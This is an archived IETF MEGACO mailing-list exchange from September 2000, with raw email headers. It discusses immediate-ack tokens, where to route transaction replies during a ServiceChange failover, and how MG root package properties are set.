Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB95959@standards.nortelnetworks.com>; Wed, 20 Sep 2000 8:28:05
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA28262; Wed, 20 Sep 2000 08:41:37 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA25437; Wed, 20 Sep 2000 08:41:33 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BFZKW0>; Wed, 20 Sep 2000 08:41:33 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C02300.0B860AC0"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6C3@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 20 Sep 2000 08:41:06 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Messages with different types of transactions
X-To:         "Bentov, Kohava" <kohava.bentov@telrad.co.il>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C02300.0B860AC0
Content-Type: text/plain;
        charset="windows-1255"

The merged-01 text will become an RFC as soon as it works it's way up the
RFC editor's queue.  You can use the immediate ack response.

Regarding your second question:
1. Requests should be sent to where the other end wants them.  This is
determined from ServiceChange.  Your application must keep state associated
with ServiceChange to know where to send requests.

2. Replies MUST go back from whence they came.  It's not legal to have
requests
occur from arbitrary addresses and ports, but there are circumstances
(failover,
for example), where the protocol states that you must send responses back to
where they came from.  Here is an example.  Suppose you have a heavily
loaded network, and and the primary MGC sent three commands P1, P2 and P3.
It then decides it can't deal with this network, and uses an alternate.  The
way
it does so is to send a ServiceChange command.  Let's call this command P4.
Then it can send new commands over the Secondary MGC (which could be
another MGC, or another network interface on the same MGC).  Let's say that
the first command it sends is S1.

Now, the MG may get these commands out of order.  In fact, let's say that it
sees:
    P1
    P2
    P4
    S1
    P3

It must send the replies from P1-P4 back to the primary MGC, and the reply
to S1
back to the secondary MG.  I don't think there is any way around knowing
where
the command came from - you have to check the address each time.

Now, sharp observers may have noticed, as I just did, that we have a
problem.

Suppose what the MG observed is:
    P1
    P2
    P3
    S1
    P4

It gets a request from what it sees as an unknown MGC before it gets the
ServiceChange request.

So.........
I think we actually need to have some wording.

The MGC MUST get TransactionReply on the ServiceChange before it starts
sending commands from the secondary.  I'm not sure that this is really
ideal,
as ServiceChange indicates impending failure, and the MGC could fail between
the time it sends the ServiceChange and gets the response, but that's the
only
way I see it can work.

Brian

-----Original Message-----
From: Bentov, Kohava [mailto:kohava.bentov@telrad.co.il]
Sent: Wednesday, September 20, 2000 5:11 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Messages with different types of transactions


Hi all,

   Nowadays we are dealing with the transactionResponseAck issue.
 I have questions related to this issue.

FIRST QUESTION
How to handle differences between the 'draft-ietf-megaco-merged-01.txt'
document and  RFCs 2885 & 2886 ?

In the 'draft-ietf-megaco-merged-01.txt'  doc, there was an optional field
in the transactionReply that was called ImmAckRequiredToken.
This optional Token indicated when the sender of the reply needed immediate
ack.

-----------------------------
transactionReply = ReplyToken EQUAL TransactionID LBRKT
                                [ ImmAckRequiredToken COMMA]
                             ( errorDescriptor / actionReplyList) RBRKT
........
ImmAckRequiredToken = ("ImmAckRequired" / "IA")



-----------------------------
Our parser used  this Token (in our application) to identify when an
immediate
ack response was needed.

In RFC2885, this optional field disappeared and the Token was removed.
The modified declaration in the RFC is :
--------------------------------------------
transactionReply = ReplyToken EQUAL TransactionID LBRKT
                             ( errorDescriptor / actionReplyList) RBRKT
----------------------------------------------

In RFC2886, the following is written:

 " Resolution: add an optional field to TransactionReply allowing the
   responder to indicate if an immediate ACK is required.  Add text in
   the section indicating that when the responder has sent a provisional
   response, it shall also set the indicator in the final transaction
   reply to indicate that an immediate acknowledgement is required."

My question is:  Does it  mean that we can use the ImmAckRequiredToken
                          as was before ?
                          If not, what is the way to handle an indication of
immediate
                          ack according  to the "Resolution..."  paragraph ?



SECOND QUESTION
According to the protocol, a message can consist of different types of
transactions
( transactionRequest / transactionPending / transactionReply /
transactionResponseAck).
In paragraph 9 (TRANSPORT) the following is written:

"As described in section 7.2.8, either the MG or the MGC may supply an
address in the ServiceChangeAddress parameter to which subsequent
transaction requests must be addressed, but responses (including the
response to the initial ServiceChange request) must always be sent back to
the address which was the source of the corresponding request."

From this paragraph I understand that :
   1. The transactionRequest will be sent to the ServiceChangeAddress
parameter.
   2. The transactionReply and transactionPending will be sent to the
address
       of the corresponding request.
   3. The transactionResponseAck will be send to the address of the reply.
(it
       may be different from the address that the request was sent to -
ServiceChangeAddress).


My question is:  As far as I understand, If I don't want to check the
addresses each time
                          I send a messages (the addresses of each
transaction in the message),
                          I have to send messages of three types:
                              1. meggages of transactionRequests
                              2. meggages of transactionReplies &
transactionPendings
                              3. meggages of transactionResponseAck
                           Am I right ?


 Best regards,
    Kohava Bentov
    SW Development
    TELRAD Networks
     mail: kohava.bentov@telrad.co.il <mailto:kohava.bentov@telrad.co.il>



------_=_NextPart_001_01C02300.0B860AC0
Content-Type: text/html;
        charset="windows-1255"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1255">


<META content="MSHTML 5.00.3017.1000" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>The
merged-01 text will become an RFC as soon as it works it's way up
the</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>RFC
editor's queue.&nbsp; You can use the immediate ack
response.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>Regarding your second question:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>1.
Requests should be sent to where the other end wants them.&nbsp; This
is</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>determined from ServiceChange.&nbsp; Your application
must keep state associated</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>with
ServiceChange to know where to send requests.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>2.
Replies MUST go back from whence they came.&nbsp; It's not legal to have
requests</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>occur
from arbitrary addresses and ports, but there are circumstances
(failover,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>for
example), where the protocol states that you must send responses back
to</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>where
they came from.&nbsp; Here is an example.&nbsp; Suppose you have a
heavily</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>loaded
network, and and the primary MGC sent three commands P1, P2 and
P3.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>It
then decides it can't deal with this network, and uses an alternate.&nbsp; The
way</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>it
does so is to send a ServiceChange command.&nbsp; Let's call this command
P4.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>Then
it can send new commands over the Secondary MGC (which could
be</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>another MGC, or another network interface on the same
MGC).&nbsp; Let's say that</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>the
first command it sends is S1.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>Now,
the MG may get these commands out of order.&nbsp; In fact, let's say that
it</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>sees:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; P1</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; P2</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; P4</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; S1</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; P3</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>It
must send the replies from P1-P4 back to the primary MGC, and the reply to
S1</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>back
to the secondary MG.&nbsp; I don't think there is any way around knowing
where</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>the
command came from&nbsp;- you have to check the address each
time.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>Now,
sharp observers may have noticed, as I just did, that we have a
problem.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>Suppose what the MG observed is:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; P1</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; P2</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; P3</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; S1</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>&nbsp;&nbsp;&nbsp; P4</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>It
gets a request from what it sees as an unknown MGC before it gets the
ServiceChange request.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>So.........</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>I
think we actually need to have some wording.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>The
MGC MUST get TransactionReply on the ServiceChange before it
starts</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>sending commands from the secondary.&nbsp; I'm not sure
that this is really ideal,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>as
ServiceChange indicates impending failure, and the MGC could fail
between</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>the
time it sends the ServiceChange and gets the response, but that's the
only</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=010142612-20092000>way I
see it can work.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN
class=010142612-20092000>Brian</SPAN></FONT></DIV>
<BLOCKQUOTE
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
  size=2>-----Original Message-----<BR><B>From:</B> Bentov, Kohava
  [mailto:kohava.bentov@telrad.co.il]<BR><B>Sent:</B> Wednesday, September 20,
  2000 5:11 AM<BR><B>To:</B>
  MEGACO@STANDARDS.NORTELNETWORKS.COM<BR><B>Subject:</B> Messages with different
  types of transactions<BR><BR></DIV></FONT>
  <DIV><FONT face=Arial size=2>Hi all,</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp; Nowadays we are dealing with the
  <FONT face="Courier New" size=2><STRONG>transactionResponseAck</STRONG></FONT>
  issue.</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;I have questions&nbsp;related to this
  issue.&nbsp;</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2><U><STRONG>FIRST
  QUESTION</STRONG></U></FONT></DIV>
  <DIV><FONT face=Arial size=2>How to handle differences between the
  'draft-ietf-megaco-merged-01.txt'&nbsp; </FONT></DIV>
  <DIV><FONT face=Arial size=2>document and&nbsp; RFCs</FONT><FONT face=Arial
  size=2>&nbsp;2885 &amp; 2886 ?</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>In the
  'draft-ietf-megaco-merged-01.txt'&nbsp;&nbsp;doc, there was
  an&nbsp;optional&nbsp;field</FONT></DIV>
  <DIV><FONT face=Arial size=2>in the <FONT face="Courier New"
  size=2>transactionReply</FONT>&nbsp;</FONT><FONT face=Arial size=2>that was
  called <FONT face="Courier New" size=2><STRONG>ImmAckRequiredToken</STRONG>.
  </FONT></FONT></DIV>
  <DIV><FONT face=Arial size=2>This optional Token indicated when the sender of
  the reply&nbsp;needed immediate ack.</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>-----------------------------</FONT></DIV>
  <DIV><FONT face=Arial size=2>transactionReply =&nbsp;ReplyToken EQUAL
  TransactionID LBRKT</FONT></DIV>
  <DIV><FONT face=Arial
  size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  [ ImmAckRequiredToken COMMA]</FONT></DIV>
  <DIV><FONT face=Arial
  size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  ( errorDescriptor / actionReplyList) RBRKT</FONT></DIV>
  <DIV><FONT face=Arial size=2>........</FONT></DIV>
  <DIV><FONT face=Arial size=2><FONT size=2><FONT
  face="Courier New">ImmAckRequiredToken = ("ImmAckRequired" / "IA")
  </FONT></DIV>
  <P><FONT face="Courier New"></FONT></P></FONT>
  <DIV>-----------------------------</DIV>
  <DIV>Our parser used &nbsp;this Token (in our application) to identify when an
  immediate </DIV>
  <DIV>ack response was needed. </DIV>
  <DIV>&nbsp;</DIV>
  <DIV>In RFC2885, this optional field disappeared and the Token was removed.
  </DIV>
  <DIV>The modified declaration in the RFC is :</DIV>
  <DIV>--------------------------------------------</DIV>
  <DIV>
  <DIV><FONT face=Arial size=2>transactionReply =&nbsp;ReplyToken EQUAL
  TransactionID LBRKT</FONT></DIV>
  <DIV><FONT face=Arial
  size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  ( errorDescriptor / actionReplyList) RBRKT</FONT></DIV></DIV>
  <DIV>----------------------------------------------</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>In RFC2886, the following is
written:</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>&nbsp;<STRONG>"</STRONG>
  <STRONG>Resolution:</STRONG> add an optional field to TransactionReply
  allowing the<BR>&nbsp;&nbsp; responder to indicate if an immediate ACK is
  required.&nbsp; Add text in<BR>&nbsp;&nbsp; the section indicating that when
  the responder has sent a provisional<BR>&nbsp;&nbsp; response, it shall also
  set the indicator in the final transaction<BR>&nbsp;&nbsp; reply to indicate
  that an immediate acknowledgement is required."</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2><STRONG>My question is:&nbsp;&nbsp;Does
  it&nbsp;&nbsp;mean that we can use the <FONT
  face="Courier New">ImmAckRequiredToken </FONT></STRONG></FONT></DIV>
  <DIV><FONT face=Arial
  size=2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <FONT face=Arial>as was before ?</FONT></STRONG></FONT></DIV>
  <DIV><FONT face=Arial
  size=2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  If not, what is the way to handle an indication of immediate
  </STRONG></FONT></DIV>
  <DIV><FONT face=Arial
  size=2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  ack according&nbsp;</STRONG></FONT><FONT face=Arial size=2><STRONG>&nbsp;to
  the "Resolution..."&nbsp;&nbsp;paragraph ?</STRONG></FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>
  <DIV><FONT face=Arial size=2><U><STRONG>SECOND
  QUESTION</STRONG></U></FONT></DIV></FONT></DIV>
  <DIV><FONT face=Arial size=2>According to the protocol, a message can consist
  of different types of transactions </FONT></DIV>
  <DIV><FONT face=Arial size=2>( transactionRequest /&nbsp;transactionPending /
  transactionReply / transactionResponseAck).</FONT></DIV>
  <DIV><FONT face=Arial size=2>In paragraph 9 (TRANSPORT) the following is
  written:</FONT></DIV>
  <DIV><FONT face=Arial size=2><FONT face="Courier New" size=2><FONT
  face=Arial></FONT></FONT></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2><FONT face="Courier New" size=2><FONT
  face=Arial>"As described in section </FONT><FONT face=Arial>7.2.8, either the
  MG or the MGC may supply an address in the </FONT><FONT
  face=Arial>ServiceChangeAddress parameter to which subsequent transaction
  </FONT><FONT face=Arial>requests must be addressed, but responses (including
  the response to </FONT><FONT face=Arial>the initial ServiceChange request)
  must always be sent back to the </FONT><FONT face=Arial>address which was the
  source of the corresponding request."</FONT></FONT></FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>From this paragraph I understand that
  :</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp; 1. The
  <STRONG>transactionRequest</STRONG> will be sent to the ServiceChangeAddress
  parameter.</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp; 2. The
  <STRONG>transactionReply</STRONG> and <STRONG>transactionPending</STRONG> will
  be sent to the address </FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;of the
  corresponding request.</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp; 3. The
  <STRONG>transactionResponseAck</STRONG> will be send to the address <FONT
  face=Arial size=2>of the reply. (it </FONT></FONT></DIV>
  <DIV><FONT face=Arial size=2><FONT face=Arial
  size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; may be different from the address
  that the request was sent to - ServiceChangeAddress).
  <DIV></FONT></FONT>&nbsp;</DIV></DIV>
  <DIV><FONT face=Arial size=2><FONT face="Courier New" size=2><FONT face=Arial>
  <DIV><FONT face=Arial size=2><STRONG>My question is:&nbsp;&nbsp;As far as I
  understand, If I don't want to check the addresses each
  time</STRONG></FONT></DIV>
  <DIV><FONT face=Arial
  size=2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &nbsp;I send a messages (the addresses of each transaction in the
  message),</STRONG></FONT></DIV>
  <DIV><FONT face=Arial
  size=2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  I have to send messages of three types:</STRONG></FONT></DIV>
  <DIV><FONT face=Arial
  size=2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &nbsp;&nbsp;&nbsp; 1. meggages of transactionRequests</STRONG></FONT></DIV>
  <DIV><FONT face=Arial
  size=2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. meggages of transactionReplies
  &amp; transactionPendings</STRONG></FONT></DIV>
  <DIV><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  3. meggages of transactionResponseAck</STRONG> </DIV>
  <DIV><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  Am I right ? </STRONG></FONT></FONT></FONT></DIV></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>&nbsp;Best regards,</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; Kohava Bentov</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; SW Development</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp; TELRAD Networks</FONT></DIV>
  <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp;&nbsp; mail: <A
  href="mailto:kohava.bentov@telrad.co.il">kohava.bentov@telrad.co.il</A><BR></DIV></BLOCKQUOTE></FONT></BODY></HTML>

------_=_NextPart_001_01C02300.0B860AC0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 08:53:23 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA21246
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 08:53:22 -0400 (EDT)
Received: from standards (47.234.32.16:4152) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9597D@standards.nortelnetworks.com>; Wed, 20 Sep 2000 8:37:58 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18406 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 08:37:58 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9597C@standards.nortelnetworks.com>; Wed, 20 Sep 2000 8:37:57
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA29057; Wed, 20 Sep 2000 08:51:34 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA27422; Wed, 20 Sep 2000 08:51:34 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBDTYM>; Wed, 20 Sep 2000 08:51:27 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1252"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6C4@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 20 Sep 2000 08:51:04 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Properties in packages
X-To:         Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

> The current root package in Annex E defines 5 properties:
>
> - MaxNrOfContexts
> - MaxTerminationsPerContext
> - normalMGExecutionTime
> - normalMGCExecutionTime
> - ProvisionalResponseTimeValue
>
> For the second one, (MaxTerminationsPerContext) it is stated:
> 'Defined in: TerminationState'
>
> This properties are something that the MG and MGC should
> nagotiate between
> tham. For example, MaxNrOfContexts should be the lowest value
> between the MG
> and MGC default values. So what I would like to know is:
Stop right there.  The MG determines MaxNrContexts and
MaxTerminationsPerContext. It isn't negotiated.  On the other
hand, the MGC doesn't need to use that many, it can use less
than the MG would allow.  That isn't negotiation.

MGs will set normalMGCexecutionTime, MGCs will set normalMGCexecutiontTime.
They aren't negotiated, but the
MGC can modify the MG's normalMGexecutionTime.
The MG can't issue Modify, so it can alter the MGC's values.

ProvisionalResponseTimer values are also not negotiated,
but again the MGC can lower the MGs value.

>
> 1. Are all those five properties will be sent in the TerminationState
> descriptor?
Yes.  They are all not significant to StreamId, so they are
defined in TerminationState

